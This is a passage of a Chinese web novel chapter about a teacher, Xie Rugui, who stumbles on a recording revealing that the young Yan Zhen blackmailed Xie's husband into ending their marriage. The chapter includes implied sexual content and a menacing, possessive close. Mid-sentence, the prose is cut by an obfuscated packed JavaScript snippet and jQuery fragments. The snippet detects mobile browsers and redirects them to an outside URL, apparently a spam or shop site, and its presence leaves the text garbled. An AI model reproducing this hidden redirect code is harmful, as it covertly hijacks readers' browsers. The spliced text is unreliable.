老破小的隔音差,晚上那么安静,一点声音,隔壁的谢老师都能听见吧?
手腕活动,言真开始奖励自己。
·
谢如珪半夜惊醒,头痛欲裂地发了会儿呆,才想起来,今天睡前忘了吃安眠药了。
安眠药在酒店里。
他呻/吟一声,捂住脸。安眠药的副作用在今晚来势汹汹。
大脑一阵眩晕,谢如珪感到恶心、想吐。他甚至出现了一点幻听,总觉得耳边好像有人说话的声音。
这种幻听加剧了他的不适,他闭目忍了好一阵才终于舒服一点。
也只有一点。
胃里翻涌得厉害,谢如珪干脆起身,套上外套,去厨房倒了杯水喝。冰水下肚缓解了口干,可很快胃又开始难受。谢如珪匆匆放下杯子,冲进卫生间。
……
有过上一次的感冒经历,言真忍着不应期,抖着腿跪在床单上,迅速穿好衣服。
手心黏腻,他用指节别扭地拉裤子拉链的时候,差点不小心夹到小腹纤薄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605692|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的皮肉。好不容易穿好裤子,小腹也不抽搐了,言真轻轻拧开门锁去厨房洗手。
没有地暖,言真自然不会冒险洗澡,明天光坐车就要坐六个小时,感冒了一定会晕车。山路上晕车是什么滋味言真不想回忆。
两室一厅的方正布局意味着,房子里其实是没有独立的阳台的,看起来是阳台的位置装上推拉门,成了厨房。厨房比阳台更刚需。
主卧就在厨房旁边。言真从茶几上扯了纸巾先把手擦了一遍,然后走到台盆下洗手。
住在这里的三年,言真极少做饭。学校食堂很便宜,寒暑假的话就吃专为老年人服务的社区食堂,也便宜。
高中的时间很宝贵,言真几乎把所有时间都用在了学习上。厨房不厨房的,厨房台盆对言真来说就是打扫卫生拧帕子的池子,在卫生间里洗他才有心理负担,卫生间的洗漱盆是用来刷牙的。
洗干净手,言真才注意到一旁的灶台上只喝了一半的水。
他几乎立刻意识到,谢如珪起来过。
怎么回事?是没吃安眠药所以又惊醒了吗?
现在睡着了吗?
少年拿起杯子,把杯里剩下的水喝完,又洗干净杯子,正想去客房看一眼谢如珪睡没睡。
要是没睡,实在睡不着的话,言真那里其实有褪黑素,高三的时候学太久,有时候会大脑亢奋睡不着。
正想着现在去看一眼,言真突然听见门被拧开的声音,一个身影从卫生间里出来,神游般的……去了言真的房间。
言真:?
谢如珪半夜起来上厕所,迷糊了吗?
言真下意识地走了几步,要去把谢如珪叫出来。突然想到了什么,又停住脚步。
最后他走到沙发上坐下,静静的,仔细听里面的动静。
·
在卫生间里待了半天,也没吐出来。谢如珪一脸菜色地发呆到觉得冷了,这才裹紧衣服回房间睡觉。
不知道是不是他的错觉,总感觉房间里也没有多暖和。
副作用带来的幻听还越来越严重。
谢如珪闭目养神,原本是想集中注意力解除幻听,结果非但没有好,那声音还越来越真实,越来越熟悉。
他睁开眼睛。
如果不是他神智错乱了的话,谢如珪想,他好像听见了沈恪的声音。沈恪的头七不是早过了吗?
怎么二七还能闹鬼不成?
他下意识地寻着声音的源头摸索了几下,还真被他摸到了一个冰凉的东西。形状谢如珪很熟悉,是手机。
手机拿到面前,谢如珪正处于意识清醒又精神衰弱的状态,他其实隐约猜到会不会是走错房间了——这种念头一闪而过,并没有形成足以叫醒他的理智让他赶紧起来看看的行动力。手机在被谢如珪拿到手的时候就自动解除了黑屏待机状态。
屏幕光在黑暗中无比刺眼。
谢如珪下意识地眯起眼睛,正好瞧见录音文件上醒目的年月日。
20250101-10:38am
谢如珪清醒了。
这个日期对他来说有特殊意义,是婚姻结束的日期。
10:38am——事发当天早上,沈恪对言真进行了威胁和猥亵。言真对他大打出手后,随后报了警。
谢如珪已经意识到他走错房间了。完全对称的布局真的太像了,他第一次来,难以区分。他一边想着自己走错了房间,但言真去哪儿了?
一边不受控制地调大音量。
原来不是幻听,这是一段那天早上的,发生在言真和沈恪之间对话的录音。后来他一直没问过言真那天到底发生了什么。
他默认都是沈恪的错,不愿意揭言真的疤。
可是真的是疤吗?
被安眠药的副作用折磨的感官逐渐恢复,谢如珪清晰地听见带着沙沙白噪音的对话,鼻尖,似乎也嗅到了一丝不同寻常的味道。
……
“要怎样你才肯放过我?言真,我们没仇吧?”
“你背叛了谢老师。不,你从来就没有真诚过。这么好的把柄,我为什么要放过你?”
“你开个价。你开个价我们谈,不然今天谁也别离开。”
……
“我的条件是,你和谢老师离婚,并且要以一种他绝对不会原谅你的方式。”
……
“我同意。就按你说的做吧。”
……
“事后你必须销毁录音还有照片。”
……
“你满意了吗?他是你的了。”
……
“他是我的了。”低低的、愉快的声音。
接着,是一声巨大的瓷器碎裂的声音,伴随着沈恪痛苦的嚎叫声。
谢如珪手脚冰凉,录音开始循环播放。
“谢老师,你走错房间了。”鬼魅般的声音响起,言真不知什么时候进来了,他站在谢如珪身后弯腰拥抱谢如珪,“我的体温暖和吗?”
“刚刚啊,我就是听着你手上的录音……”
他笑的声音,和录音里一样低沉而愉快。